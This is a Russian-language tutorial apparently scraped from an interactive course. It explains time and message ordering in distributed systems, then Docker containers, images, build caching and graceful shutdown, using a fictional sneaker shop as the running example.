Самые старые ячейки выбрасывают, когда вектор слишком длинный. Dynamo усекал вектор после 10 ячеек. Платим тем, что изредка настоящий порядок принимается за конфликт.
Точечные векторы
Dotted version vectors — улучшенный вариант в Riak. Точнее различают одновременные записи, пришедшие через одну и ту же реплику, и не плодят лишних сестёр.
глава 7 · часы, которым можно верить гибридные часы и TrueTime
Логические часы честны, но оторваны от реального времени: по ним нельзя спросить «покажи остатки на 12:00». Физические часы привязаны к реальности, но врут. Две идеи пытаются взять лучшее от обоих миров.
Гибридные логические часы (HLC)
Свойства HLC: метка никогда не меньше физических часов узла; она близка к реальному времени; она, как Лэмпорт, сохраняет причинность (a → b значит HLC(a) < HLC(b)); она помещается в 64 бита, как обычная метка времени. Пройдите по шагам: часы узла Б отстают на 40 мс.
HLC используют CockroachDB и YugabyteDB. Но HLC не отменяет разбег часов, а только живёт с ним. Поэтому обе базы требуют, чтобы разбег был ограничен. В CockroachDB максимальный разбег по умолчанию — 500 мс. Узел, который разошёлся с половиной кластера больше чем на 80 % от этого предела, сам себя останавливает. В YugabyteDB предел тоже 500 мс, и при его превышении сервер падает. Лучше упасть, чем тихо испортить данные.
TrueTime в Google Spanner: знать размер ошибки
В статье 2012 года ε обычно было от 1 до 7 мс. Позже Google сообщала, что погрешность стала меньше миллисекунды в 99 % случаев. Главный трюк — ожидание при фиксации.
Посчитайте цену ожидания
Сводка: пять видов часов
Нажмите на строку, чтобы раскрыть пояснение.
Как консенсус выстраивает общий журнал, в котором порядок не зависит от часов вовсе, — в разделе . Как распределённые транзакции договариваются о фиксации — в .
глава 8 · порядок сообщений FIFO, причинный, общий порядок; Kafka; версии и дубли
До сих пор мы ставили метки на события. Теперь — о письмах, которые сервисы шлют друг другу через сеть и брокеры. Сеть умеет четыре гадости: задержать письмо, переставить два письма местами, доставить одно письмо дважды и потерять его. Что нам гарантировано, а что придётся строить самим?
Три уровня порядка
FIFO-порядок
Первым пришёл — первым обработан (first in, first out) для одного отправителя: письма одного отправителя приходят в том порядке, в каком он их отправил. Про разных отправителей — ничего.
Из жизни: один человек шлёт вам посылки одной службой доставки, и они приходят по очереди. Посылки от разных людей — как повезёт.
TCP даёт FIFO внутри одного соединения. Переподключение, повторы, несколько соединений — и гарантии нет.
Причинный порядок
Causal order: если отправка m1 произошла-до отправки m2, все получатели увидят m1 раньше m2. Независимые письма — в любом порядке.
Из жизни: в чате ответ «да, беру!» не должен появиться раньше вопроса «кроссовки ещё продаются?». А две независимые реплики разных людей — в любом порядке.
Реализуют метками причинности (векторами) и буфером «подожду, пока придёт то, что было раньше».
Полный (общий) порядок
Total order: все получатели видят все письма в одном и том же порядке. Даже независимые.
Из жизни: протокол собрания, который ведёт один секретарь. Кто бы что ни говорил, в протоколе одна последовательность, и у всех одна и та же копия.
Рассылка в общем порядке (total order broadcast) по силе равна консенсусу. Её делают через лидера и общий журнал.
Порядок в Kafka: только внутри партиции
Подробно о партициях, группах потребителей и гарантиях доставки — в разделе .
Номера последовательности и версии
Если сообщение несёт не «разницу» («минус одна пара»), а полное состояние с версией («остаток 4, версия 18»), получатель может просто отбрасывать всё, что не новее уже применённого. Смотрите по шагам.
Дубли неизбежны: идемпотентность
Модель: статусы заказа Анны приходят вразнобой
Сервис заказов отправляет пять событий заказа №1042: создан → оплачен → собран → передан курьеру → доставлен. Получатель обновляет карточку заказа в приложении Анны и шлёт ей SMS на каждый статус. Выберите, как доставляет сеть и как ведёт себя получатель. Жмите «Следующее письмо» или «Доставить всё».
Как события и проекции строятся на этом порядке — в разделе .
глава 9 · потоки время события, опоздания и водяные знаки
Распродажа в «Ботинке». Аналитик Олег хочет видеть на экране «покупок за минуту» — прямо во время акции. Покупки приходят потоком событий из мобильного приложения. Часть телефонов в метро или без связи: их события доходят с опозданием на десятки секунд, а то и минуты. В какую минуту их записать?
Если считать по времени обработки — просто и быстро, но цифры врут: покупка Анны в 12:01:58 попадёт в минуту 12:03. Если считать по времени события — цифры честные, но появляется вопрос: когда закрывать минуту 12:01, если в любой момент может прийти опоздавшая покупка?
Фиксированные окна
Tumbling — окна одинаковой длины встык, без перекрытий: 12:00–12:01, 12:01–12:02… Каждое событие попадает ровно в одно окно. «Продажи за каждую минуту».
Скользящие окна
Sliding (в Kafka Streams — hopping) — окна одной длины, но начинаются чаще, чем длятся: длина 1 мин, шаг 30 с. Окна перекрываются, событие попадает в несколько. «Продажи за последнюю минуту, обновлять каждые 30 с».
Сессионные окна
Session — окно по активности: длится, пока события идут, и закрывается после паузы заданной длины. Длина заранее неизвестна. «Визит на сайт закончился после 30 минут тишины».
Как режется время: три вида окон
Модель: водяной знак и опоздания
Точки — покупки. По горизонтали — когда покупка случилась (время события). По вертикали — когда она дошла до нас (время обработки, ниже — позже). Если бы сеть была мгновенной, все точки лежали бы на серой диагонали. Жёлтая ступенчатая линия — водяной знак. Фиолетовые чёрточки с надписью «итог» — момент, когда окно закрылось и выдало итог. Окна фиксированные, по минуте.
Где это живёт
Apache Flink (стратегии водяных знаков, допустимое опоздание, отдельный поток для опоздавших), Apache Beam и Google Dataflow (там эти идеи и сформулированы), Kafka Streams (grace period у окон), Spark Structured Streaming (withWatermark).
Та же беда без потоков
Отчёт Олега «продажи за 1 сентября» по времени записи в базу. Заказ в 23:59:58 записан в 00:00:01 — и попал во 2 сентября. Отчёт должен считать по времени события, в поясе бизнеса (например, московском), а «поздние» записи — пересчитывать.
глава 10 · CRDT данные, которые сливаются сами
В главе 6 векторы нашли конфликт, но решать его пришлось приложению. А можно ли устроить данные так, чтобы конфликтов не было вовсе — чтобы любые две копии можно было слить автоматически и получить один и тот же ответ?
Четыре простых CRDT
G-Counter — счётчик, который только растёт
У каждой копии своя ячейка: «сколько прибавила я». Прибавить — увеличить свою ячейку. Слить — взять в каждой ячейке максимум. Значение — сумма ячеек. Повтор слияния ничего не меняет: максимум от максимума тот же.
PN-Counter — счётчик вверх и вниз
Два G-счётчика: P — все прибавления, N — все вычитания. Значение — P минус N. Так считают лайки, которые можно ставить и снимать.
LWW-Register — «последний победил»
Одно значение с меткой времени. Слить — оставить с бо́льшей меткой, при равенстве — по номеру копии. Это CRDT: все копии сойдутся. Но сойдутся на том, что выбрали часы — со всеми бедами глав 2–3. Годится для «адрес доставки по умолчанию», не годится для остатков.
OR-Set — множество «добавить и удалить»
Observed-Remove Set. Каждое добавление получает уникальную метку. Удаление удаляет только те метки, которые копия видела. Если одна копия удалила товар, а другая одновременно добавила его заново, новое добавление выживает (add-wins). Удалённое при этом не воскресает — в отличие от корзины Dynamo.
Песочница: две копии без связи
Две копии данных «Ботинка»: дата-центры в Москве и Казани, связь между ними порвана. В каждой копии — счётчик лайков модели «Air 42» и корзина Анны (Анна правит её с телефона через Москву и с ноутбука через Казань). Правьте обе копии, потом нажмите «Соединить». Внизу — что получилось бы при трёх способах слияния.
Где CRDT применяют
Базы с записью в нескольких местах
Redis Enterprise в режиме Active-Active (записи в нескольких регионах сразу), типы данных Riak (счётчики, множества, словари).
Совместное редактирование
Библиотеки Automerge и Yjs: несколько человек правят документ одновременно, в том числе офлайн, и правки сливаются без сервера-арбитра.
Офлайн-приложения
Заметки, списки покупок, корзины: телефон работает без сети, а при появлении связи копии сливаются.
глава 11 · идентификаторы автоинкремент, UUID v4 и v7, Snowflake
У каждого заказа нужен номер. Кажется, это самая простая задача раздела. Но номер — тоже про порядок и время: кто его выдаёт, могут ли два сервера выдать одинаковый, и в каком порядке номера лягут в индекс базы.
Автоинкремент и его беды
GENERATED AS IDENTITY или SERIAL) — база сама выдаёт номера по порядку: 1041, 1042, 1043… Счётчик один и живёт в одной базе.Два счётчика — одинаковые номера
Шарды, две базы в двух дата-центрах, слияние данных после покупки другой компании — и заказ №1042 существует дважды. Лечат шагом и сдвигом (одна база выдаёт нечётные, другая — чётные), но это хрупко: добавить третью базу больно.
Номер известен только после записи
Сервис не может знать номер заказа, пока не сходил в базу. Нельзя заранее собрать событие, ключ идемпотентности, ссылку для оплаты. А единственный счётчик — узкое место при очень большой записи.
Номер выдаёт секреты
Конкурент делает заказ в понедельник (№1042) и в следующий понедельник (№1942) — и знает ваш недельный объём продаж. Так союзники во Второй мировой по серийным номерам оценивали выпуск немецких танков.
Номер легко перебрать
Если по адресу /orders/1042 видно чужой заказ при ошибке проверки прав, злоумышленник переберёт 1041, 1043… Это уязвимость прямого доступа к объектам (IDOR). Номер — не защита, но угадываемый номер делает ошибку опаснее.
UUID: номер, который можно придумать где угодно
0199a3b2-7c41-7d2e-9f10-5b6c7d8e9f01. Стандарт — RFC 9562 (май 2024), он заменил старый RFC 4122.uuidv7().Почему порядок так важен? Из-за индекса. Первичный ключ почти всегда лежит в B-дереве — дереве страниц, в которых ключи отсортированы. Страница имеет фиксированный размер (в PostgreSQL — 8 КБ).
Модель: вставка в индекс
Выберите тип номера и вставляйте заказы. Каждая коробочка — страница индекса на 4 ключа (в настоящей базе их сотни, но суть та же). Фиолетовый ключ — последний вставленный. Красная рамка — страницу только что разрезали посередине. Сверху — раскладка битов последнего номера.
ULID и Snowflake
uuid в базах.Сравнение одной таблицей
Нажмите на строку, чтобы раскрыть пояснение.
uuid — вдвое больше места и медленнее сравнение. 2) Показывать покупателю UUID как «номер заказа» — его невозможно продиктовать в поддержку. Технический идентификатор и человеческий номер — разные поля. 3) Считать, что UUIDv7 «не раскрывает ничего»: момент создания из него читается. 4) Сортировать по UUIDv7 и считать это точным порядком событий между серверами.Как устроено B-дерево и зачем индексы — в разделе .
глава 12 · время в данных UTC, часовые пояса, летнее время и «через 30 дней»
До сих пор время было техническим. Но в бизнес-данных его полно: момент оплаты, дата доставки, «акция до конца дня», «подписка на месяц». Здесь ошибаются чаще всего — и чаще всего это ошибка постановки, а не кода. «Ботинок» теперь продаёт по всей России, а ещё открыл магазины в Берлине и Нью-Йорке.
Europe/Berlin — «UTC+1 зимой, UTC+2 летом, переводы в последнее воскресенье марта и октября». Смещение (offset) — просто число для конкретного момента: +02:00. Правила хранятся в базе часовых поясов IANA (tzdata). Её обновляют несколько раз в год, потому что страны меняют правила.2026-03-29T01:30:00+01:00 или 2026-03-29T00:30:00Z. Год-месяц-день, буква T, время, смещение. Такая запись однозначна и правильно сортируется.Четыре разных «времени» — не путайте
🎯 Момент
Когда что-то случилось. Одно и то же для всех. Хранить в UTC. Примеры: создан заказ, прошла оплата, отправлено письмо. PostgreSQL: timestamptz. Java: Instant.
📅 Календарная дата
День в календаре, без времени и пояса. Примеры: дата доставки «2 октября», день рождения, дата в договоре. Если хранить как «2 октября 00:00 UTC», во Владивостоке это превратится в «2 октября 10:00», а в Нью-Йорке — в «1 октября 20:00». PostgreSQL: date. Java: LocalDate.
🗺 Местное время + пояс
Будущее событие «по местным часам». Примеры: «присылать сводку каждый день в 9:00 по времени покупателя», «распродажа в берлинском магазине 1 ноября 2027 в 10:00». Хранить местное время и имя пояса (Europe/Berlin), а момент вычислять ближе к делу: правила пояса могут поменяться.
⏳ Длительность и период
«Сколько». Длительность — точное время: «оплатить за 15 минут», «720 часов». Период — календарный: «30 дней», «1 месяц», «3 рабочих дня». Это разные вещи: см. пример ниже. Java: Duration и Period.
timestamptz («с часовым поясом») на самом деле пояс не хранит. Он переводит момент в UTC при записи и обратно в пояс сессии при чтении. Если важно, в каком поясе была покупка (для чека, для отчёта по магазину), храните имя пояса отдельным полем. А тип timestamp без пояса — это «настенное» время неизвестно где: для моментов он опасен.Летнее время: часы, которых нет, и часы, которые были дважды
Весной в Берлине в 02:00 часы переводят на 03:00: времени 02:30 в этот день не существует. Осенью в 03:00 их переводят на 02:00: время 02:30 бывает дважды. В Нью-Йорке так же, но в другие дни и часы. Выберите город, день и местное время.
«Через 30 дней» и «до конца дня»
Анна оформила подписку в берлинском магазине 20 октября 2026 в 12:00 по местному времени (это 10:00 UTC). Подписка «на 30 дней». Когда она кончится?
30 календарных дней
19 ноября, 12:00 по Берлину. Анна ожидает именно этого: «в то же время дня».
720 часов
19 ноября, 11:00 по Берлину. 25 октября часы перевели назад, в тех сутках было 25 часов. Подписка кончится на час раньше, чем Анна ждёт.
Похожие ловушки: «через месяц» от 31 января — это 28 февраля (так считает большинство библиотек), а через месяц от 28 февраля — 28 марта. «Акция до 23:59 31 декабря» — для Калининграда (UTC+2) и Владивостока (UTC+10) это моменты с разницей в 8 часов. Какой из них имелся в виду — решает постановка.
Тренажёр: как хранить это поле?
Разложите поля «Ботинка» по видам времени.
Решено 0 из 0.
глава 13 · требования как аналитику формулировать порядок и время
Разработчик сам не решит, что делать с одновременными правками корзины или с покупкой, пришедшей через минуту после закрытия окна. Это решения бизнеса. Задача аналитика — задать вопросы и записать ответы так, чтобы их нельзя было прочитать двумя способами.
Вопросы, которые стоит задать
Нажмите на вопрос, чтобы раскрыть пояснение.
Было → стало: формулировки
Нажмите на строку, чтобы увидеть, почему первая формулировка плохая.
Шаблон раздела «Время и порядок» в постановке
Время и порядок — сервис заказов 1. Моменты (created_at, paid_at): UTC, timestamptz, точность — мс. Источник — часы сервиса заказов (NTP, один источник, контроль расхождения ≤ 100 мс). Для порядка изменений НЕ используются. 2. Порядок изменений заказа: поле version (целое, +1 на изменение). Изменение с устаревшей версией отклоняется: 409 Conflict. 3. События заказа: ключ партиции — order_id; порядок гарантируется в пределах заказа. В событии: event_id (UUIDv7), order_id, version, occurred_at (UTC). Получатели идемпотентны: дедупликация по event_id, применение только version > последней применённой. 4. Даты для людей: delivery_date — date (без времени и пояса), слоты курьера — местное время + пояс IANA адреса доставки. 5. Сроки: «оплатить за 15 минут» — длительность от paid_deadline (момент, UTC); «вернуть в течение 14 дней» — календарные дни в поясе покупателя, до 23:59:59 последнего дня. 6. Отчёты: сутки считаются по московскому времени по occurred_at; записи, пришедшие позже 03:00 следующего дня, попадают в пересчёт.
Частые ошибки
глава 14 · проверь себя двенадцать вопросов про время и порядок
Решено 0 из 0.
Контейнер — это ваше приложение, упакованное вместе со всем, что ему нужно, в стандартную коробку. Коробку одинаково запускают на ноутбуке разработчика, на тестовом стенде и на боевом сервере. Раздел проведёт одна история: команда магазина кроссовок «Ботинок» устала от фразы «а у меня работает» и переезжает в контейнеры. Мы разберём, что такое контейнер на самом деле (спойлер: это обычный процесс в шорах), соберём образ своими руками, поломаем остановку, уроним базу на локальном стенде и поймём, что из этого должен знать аналитик.
зачем это зачем магазину контейнеры
карта раздела одна история, шестнадцать глав
Главы идут по порядку: каждая опирается на предыдущую. Первые четыре — фундамент: что такое контейнер и чем он отличается от виртуальной машины. Дальше — образ и Dockerfile, жизнь контейнера, данные и сеть, локальный стенд. В конце — безопасность, ресурсы, экосистема и взгляд аналитика. Нажмите на главу, чтобы перейти к ней.
глава 1 · завязка четверг, 18:10: «а у меня работает»
Разработчик Борис неделю переписывал сервис каталога магазина «Ботинок» — тот, что показывает покупателям кроссовки, цены и фотографии. На его ноутбуке всё летает. В четверг вечером инженер эксплуатации Вера выкладывает новую версию на боевой сервер по инструкции из внутренней вики. Через минуту каталог падает. Покупательница Анна видит белую страницу вместо кроссовок.
Вера и Борис два часа ищут, в чём разница между ноутбуком и сервером. Находят сразу пять причин:
- на ноутбуке Бориса Node.js 24, на сервере — Node.js 18: новый код вызывает функцию, которой в старой версии нет;
- библиотека для обработки картинок скачала на ноутбук сборку под macOS, а сервер работает на Linux — ей нужна другая сборка;
- на ноутбуке часовой пояс — Москва, на сервере — UTC: акция «до полуночи» закончилась у покупателей в три часа ночи;
- адрес базы данных Борис когда-то прописал у себя в настройках терминала — на сервере этой переменной просто нет;
- в вики написано «установите ImageMagick», но не написано, какую версию. На сервере стоит та, что была два года назад.
Ни одна из этих причин не связана с кодом, который писал Борис. Всё сломало окружение.
Сервер-снежинка и дрейф конфигурации
Боевой сервер каталога настраивали руками пять лет. Кто-то ставил пакеты, кто-то правил файлы настроек, кто-то «временно» отключал проверку. Записано было не всё. Теперь сервер уникален, как снежинка: второго такого нет, и собрать его заново никто не возьмётся.
Пройдите по трём средам каталога и сравните, что в них стоит. Потом переключите на «в контейнере» — и посмотрите, что изменится, а что — нет.
Морской контейнер: идея, которая изменила торговлю
До середины 1950-х корабли грузили вручную. Мешки, бочки, ящики разной формы. Каждую вещь грузчики поднимали отдельно, погрузка шла днями, часть груза билась и пропадала. В каждом порту — свои правила. В 1956 году американский предприниматель Малкольм Маклин отправил в рейс старый танкер, переделанный под одинаковые стальные ящики — их было 58. Порту стало всё равно, что внутри — кроссовки, кофе или станки. Кран, корабль, поезд и грузовик научились работать с одной и той же коробкой.
Программные контейнеры делают то же самое. Эксплуатации всё равно, на чём написан сервис: Node.js, Java или Python. Она умеет запускать «контейнер» — и этого достаточно. А всё, что нужно сервису, лежит внутри коробки.
- «Сервис поставляется как образ контейнера. Один и тот же образ без пересборки проходит тестовую, предрелизную и боевую среды; различаются только настройки».
- «Все зависимости сервиса (версия среды выполнения, системные библиотеки) зафиксированы в образе. Установка чего-либо на сервер вручную не требуется».
глава 2 · ВМ или контейнер дома и квартиры
Первое, что спросил аналитик Олег: «А чем это отличается от виртуальных машин? Мы же и так каждому сервису даём отдельную виртуалку». Хороший вопрос. Разберём оба способа по слоям — снизу вверх.
Виртуальные машины
Контейнеры
Как читать схему. Оранжевым отмечено то, что есть у каждой ВМ своё, а у контейнеров — одно на всех: операционная система с ядром. Именно она съедает память, место на диске и время загрузки. У контейнера её нет: он приносит только приложение и библиотеки, а ядро берёт хозяйское.
Живая модель: сколько сервисов влезет в один сервер
У «Ботинка» сервер на 64 ГБ памяти. 2 ГБ занимает операционная система самого сервера. Двигайте ползунок — сколько экземпляров сервисов хотим запустить. Слева каждый экземпляр живёт в своей ВМ, справа — в контейнере.
Сравнение по пунктам
Нажмите на строку — раскроется пояснение.
Где у изоляции контейнеров предел
Раз ядро общее, у контейнерной изоляции есть потолок. Процесс в контейнере говорит с тем же ядром, что и соседи. Если в ядре или в программе запуска контейнеров найдут дыру, процесс может «сбежать» на хозяина. Так уже было: уязвимость CVE-2019-5736 позволяла из контейнера перезаписать программу запуска runc на хосте, а CVE-2024-21626 (её прозвали «Leaky Vessels») — выбраться в файловую систему хоста через «утёкший» открытый каталог хоста.
Поэтому на практике делают так:
- Свои сервисы одной команды — спокойно рядом в контейнерах на одной машине.
- Чужой, непроверенный код (например, код клиентов облака) — в более толстой изоляции: gVisor (прослойка, которая перехватывает обращения к ядру), Kata Containers или Firecracker (крошечная ВМ под каждый контейнер или функцию; её используют AWS Lambda и Fargate).
- В облаке контейнеры обычно работают внутри ВМ: виртуалка отделяет одного клиента облака от другого, а контейнеры внутри неё дают плотность и скорость. Это не «или — или», а «и то, и другое».
arm64, а боевой сервер — amd64. Запуск такого образа на сервере заканчивается ошибкой exec format error. Лечится сборкой под нужную платформу (--platform linux/amd64) или сразу под обе.- «Сервисы разных клиентов (арендаторов) не должны делить одно ядро ОС: изоляция арендаторов — на уровне виртуальных машин» — если такое требование есть, обычных контейнеров мало.
- «Время запуска нового экземпляра сервиса до готовности принимать запросы — не более 15 секунд» — такое требование выполнимо с контейнерами и почти невыполнимо с ВМ, которую надо загружать с нуля.
глава 3 · изнутри контейнер — это процесс в шорах
Вера зашла на сервер, где уже крутится контейнер каталога, и набрала команду, которая показывает все процессы машины. Среди них нашёлся обычный процесс node dist/server.js с номером 4411. Никакой «коробки» вокруг него не видно. А внутри контейнера тот же самый процесс считает, что у него номер 1 и что он на машине один.
В Linux восемь видов пространств имён. Docker по умолчанию надевает контейнеру шесть из них, седьмое (пользователи) включается отдельно. Восьмое — пространство имён времени (time) — появилось в ядре 5.6 и нужно редко: оно позволяет контейнеру видеть свои часы «с момента загрузки», например при переносе контейнера с машины на машину. Docker его не использует.
Снимите шоры по одной
Ниже семь окошек — по одному на вид шор. В каждом — команда, которую процесс выполнил внутри контейнера, и то, что он увидел. Нажмите «снять шоры» и посмотрите, что откроется. Рядом — флаг Docker, который делает то же самое в жизни. Для наглядности считаем, что в образе есть оболочка и утилиты (в минимальных образах их нет — и это хорошо, глава 12).
- «Для отладки» запускают контейнер с
--pid=hostили--network hostи забывают убрать. Изоляции больше нет, а в требованиях написано, что она есть. - Ищут, почему не работает
localhost:5432из контейнера приложения. У контейнера свой сетевой стек, иlocalhost— это он сам, а не машина и не соседний контейнер с базой (глава 9).
глава 4 · изнутри поводок и калька: cgroups и слои файлов
Шоры ограничивают то, что процесс видит. Но не то, сколько он ест. Процесс в шорах всё ещё может занять всю память сервера — и соседние контейнеры упадут. Для этого есть второй механизм.
Что именно ограничивают контрольные группы и что бывает при превышении — это важно, потому что реакция разная:
Память
Флаг --memory=512m. Если процесс пытается взять больше, ядро сначала пробует освободить кеши. Не вышло — приходит OOM-убийца и убивает процесс. Жёстко, без предупреждения.
Процессор
Флаг --cpus=1.5. Превысить нельзя, но и убивать никто не будет: процесс просто ставят на паузу до следующего кусочка времени. Это называется троттлинг (глава 13). Снаружи выглядит как «сервис тормозит».
Число процессов
Флаг --pids-limit=200. Защищает от ошибки, когда программа бесконечно порождает процессы и кладёт всю машину. При превышении новые процессы просто не создаются.
docker inspect стоит "OOMKilled": true — убил OOM-убийца за превышение лимита памяти.Живая модель: распродажа и лимит памяти
Каталог держит в памяти кеш товаров и картинок. В обычный день ему хватает около 380 МБ, а в распродажу, когда тысячи покупателей листают страницы, — около 900 МБ. Поставьте лимит памяти контейнеру, выберите день и пустите покупателей.
$ docker run -d --memory=512m --restart=unless-stopped botinok/catalog:1.9.0
CrashLoopBackOff. Лечится не «перезапуском», а правильным лимитом или ограничением кеша внутри приложения.Файловая система из слоёв: калька поверх карты
Третий механизм отвечает за файлы. Образ каталога весит около 200 МБ. Если на сервере запустить десять контейнеров каталога, будет ли занято 2 ГБ? Нет — около 200 МБ плюс немного. Секрет в том, как собрана файловая система контейнера.
Попробуйте сами. Ниже — стопка слоёв образа каталога и верхний слой контейнера. Делайте с файлами что угодно и смотрите, куда уходят изменения.
глава 5 · образ рецепт и пирог: образ, теги, реестр
Олег путал слова «образ» и «контейнер» и честно признался в этом на планёрке. Путают все, поэтому разберём по-честному.
Образ (image)
Неизменяемый шаблон. Лежит на диске или в реестре, ничего не делает. Один образ — сколько угодно контейнеров. Собирается командой docker build.
Контейнер (container)
Запущенный экземпляр образа: процесс плюс свой верхний слой для записи, своя сеть, свои лимиты. Живёт, меняется, умирает. Создаётся командой docker run.
Из чего состоит образ
Образ — это три вида файлов:
- Слои — архивы с файлами (глава 4). Каждый назван по отпечатку своего содержимого, например
sha256:3c1e…. Одинаковый слой хранится на диске один раз, даже если его используют сто образов. - Конфигурация — какую команду запускать, от какого пользователя, какие переменные окружения выставить, какой порт приложение слушает.
- Манифест (manifest) — оглавление: список слоёв и ссылка на конфигурацию. Отпечаток манифеста и есть «настоящее имя» образа.
sha256:9f86d0…. Если изменить хоть один байт, отпечаток станет другим. Поэтому ссылка по отпечатку всегда указывает ровно на одно содержимое.botinok/catalog:1.9.0. Тег можно в любой момент переклеить на другой образ. Тег latest — это просто тег по умолчанию, если вы не указали другой. Он не значит «самый свежий».Реестр: где живут образы
registry.botinok.ru/shop/catalog:1.9.0.Посмотрите, что происходит при docker push (отправить образ в реестр) и docker pull (скачать на сервер). Главное — никто не гоняет образ целиком: передаются только слои, которых у получателя ещё нет.
Почему latest опасен: история одной недели
Пройдите по шагам историю, которая случилась в «Ботинке», пока там разворачивали всё по тегу latest.
CVE-2026-33634). Конвейеры, которые ссылались на тег, а не на полный хеш коммита, без единого изменения в своих файлах начали выполнять чужой код. Урок тот же: тег можно переклеить, отпечаток — нет.- «В боевую среду разворачивается образ, указанный по отпечатку (digest). Теги вида
latestв манифестах развёртывания запрещены». - «Каждый образ помечается версией сервиса и хешем коммита (
1.9.0,git-4f2c1ab); теги версий в реестре неизменяемы». - «Откат на предыдущую версию выполняется разворачиванием предыдущего образа из реестра и занимает не более 5 минут».
глава 6 · рецепт Dockerfile построчно
Борис пишет рецепт образа каталога. Рецепт называется Dockerfile — это обычный текстовый файл в корне репозитория.
docker build . (точка — это и есть контекст). Инструкции COPY берут файлы только из неё.Ниже — финальная версия рецепта, к которой команда придёт в следующей главе. Нажимайте на строки — справа появится подробное объяснение: что делает инструкция, зачем она тут и что будет, если написать иначе.
Файл .dockerignore: что НЕ отдавать сборщику
Рядом с Dockerfile лежит ещё один маленький файл. Он работает как .gitignore: перечисляет, чего не должно быть в контексте сборки.
node_modules dist .git .env .env.* *.md coverage docker-compose*.yml
node_modulesиdist— их всё равно создаст сборка. Если скопировать их с ноутбука, в образ попадут библиотеки, собранные под macOS или Windows..git— сотни мегабайт истории, которые не нужны для запуска. И любая фиксация в git будет ломать кеш сборки (следующая глава)..env— файл с паролями разработчика. Без этой строкиCOPY . .положит пароли прямо в образ, а образ уедет в реестр.*.md— правка README не должна пересобирать приложение.
ENTRYPOINT и CMD: что на самом деле запустится
Эти две инструкции путают чаще всех остальных вместе взятых. Правило такое: ENTRYPOINT — это «программа», CMD — «аргументы по умолчанию» к ней. Если ENTRYPOINT не задан, CMD — вся команда целиком. Аргументы в docker run образ … заменяют CMD, а ENTRYPOINT остаётся. Заменить ENTRYPOINT можно только явно флагом --entrypoint.
Выберите, как написан Dockerfile и как его запускают. Посмотрите, что получится.
CMD ["node", "dist/server.js"] — это exec-форма (массив в квадратных скобках): Docker запускает node напрямую, и он становится главным процессом контейнера. CMD node dist/server.js — shell-форма: Docker запускает оболочку /bin/sh -c "node dist/server.js". Главным процессом становится оболочка, и документация Docker прямо предупреждает: в таком виде приложение может не получить сигнал остановки. Почему это важно — глава 8. Правило простое: всегда exec-форма.Какой базовый образ выбрать
Первая строка FROM определяет, на чём стоит всё остальное. Размеры ниже — порядок величины для образов с Node.js 24 в распакованном виде; точные цифры меняются от версии к версии.
глава 7 · главный интерактив конструктор слоёв: почему сборка идёт то 3 секунды, то 2 минуты
Первый Dockerfile Борис написал «как думал»: скопировать всё, установить зависимости, собрать. Образ получился на 1,7 ГБ, а каждая правка одной строчки кода пересобиралась больше минуты и заставляла сервер скачивать сотни мегабайт. Разберёмся, почему, — и починим своими руками.
CACHED.Как сборщик решает, брать ли слой из кеша. Три правила:
- Шаг берётся из кеша, если предыдущий слой тот же и текст инструкции тот же.
- Для
COPYиADDещё сравнивается содержимое копируемых файлов. Поменяли хоть один файл — шаг выполняется заново. - Как только один шаг выполнен заново, все шаги ниже тоже выполняются заново — их «предыдущий слой» стал другим.
Что делать в конструкторе. Слева — Dockerfile. Стрелками ↑↓ меняйте порядок строк. Справа отметьте, что вы поменяли с прошлой сборки, и нажмите «▶ docker build». Первая сборка всегда идёт без кеша — соберите один раз, потом меняйте код и собирайте снова. Включите .dockerignore и многоэтапную сборку и сравните размер. Цифры — правдоподобный порядок величины для небольшого сервиса на Node.js.
$ docker build -t botinok/catalog .
CACHED — слой взят из кеша, это мгновенно. Оранжевая — шаг выполнен заново, указано время. Красная — шаг упал, сборка остановилась. Метаданные (ENV, USER, EXPOSE, CMD) слоёв с файлами не создают и ничего не стоят. «Скачать при выкатке» — сколько мегабайт новых слоёв придётся забрать каждому серверу: старые слои у него уже есть (глава 5).Что стоит за цифрами
Порядок: от редкого к частому
Зависимости меняются раз в неделю, код — двадцать раз в день. Поэтому сначала копируем только package.json и lock-файл и ставим зависимости, а исходники копируем после. Тогда правка кода не трогает тяжёлый слой npm ci.
Многоэтапная сборка
В одном Dockerfile два образа. Первый — «кухня»: компилятор, dev-зависимости, весь мусор сборки. Второй — «тарелка»: только готовое приложение и нужные для запуска библиотеки. Инструкция COPY --from=build переносит с кухни на тарелку только результат.
RUN не смотрит в интернет
Ключ кеша для RUN — это текст команды, а не её результат. RUN apt-get update однажды закешируется — и будет «обновлять» список пакетов недельной давности вечно. Поэтому update и install пишут в одной строке, а в CI периодически собирают с --pull --no-cache.
Кеш в CI
На сервере сборки кеш часто пропадает между запусками: каждый раз новая чистая машина. Помогают внешний кеш в реестре (--cache-to / --cache-from) и кеш-монтирования RUN --mount=type=cache для папки пакетного менеджера. Подробнее — в разделе про CI/CD.
FROM. Каждая начинает новый этап; в итоговый образ попадает только последний этап и то, что в него явно скопировали из предыдущих.глава 8 · жизнь и смерть PID 1, SIGTERM и почему теряются заказы при выкатке
Каталог уехал в контейнеры, и всё стало хорошо. Почти. Олег заметил в отчётах странность: каждый раз во время выкатки новой версии несколько покупателей получают ошибку при оформлении заказа. Выкатка идёт каждый день — значит, каждый день кто-то теряет корзину. Чтобы понять почему, надо знать, как контейнер живёт и как умирает.
Жизненный цикл
docker run — это «создать + запустить» в одной команде. Политика перезапуска (restart policy) говорит Docker, что делать, когда процесс вышел: no — ничего; on-failure — перезапустить, только если код выхода не 0; always и unless-stopped — перезапускать всегда (второй — кроме случая, когда вы остановили контейнер сами). Между попытками Docker делает растущую паузу, начиная со 100 мс и каждый раз удваивая, чтобы не молотить сервер.
PID 1 — особый процесс
Когда вы делаете docker stop (а любая выкатка новой версии — это остановка старого контейнера), происходит вот что: Docker шлёт SIGTERM процессу PID 1 и ждёт. По умолчанию — 10 секунд (в Kubernetes — 30). Не завершился — шлёт SIGKILL.
Живая модель: выкатка во время пика
В контейнере каталога в момент остановки обрабатываются 8 запросов, самые длинные (оформление заказа) идут до 3 секунд. Каждую четверть секунды приходит новый запрос. Выберите, как запущен процесс, ловит ли приложение SIGTERM и сколько Docker ждёт перед SIGKILL. Нажмите «docker stop».
Как выглядит правильная остановка
Код обработчика в Node.js занимает несколько строк:
process.on('SIGTERM', async () => {
ready = false; // проверка готовности отвечает 503 — балансировщик уводит трафик
server.close(); // перестаём принимать новые соединения
await inFlightDone(); // дожидаемся запросов, которые уже в работе
await db.end(); // закрываем пул соединений с базой
process.exit(0); // выходим сами, с кодом 0
});
Коды выхода: что говорит мёртвый контейнер
| Код | Что значит | Куда смотреть |
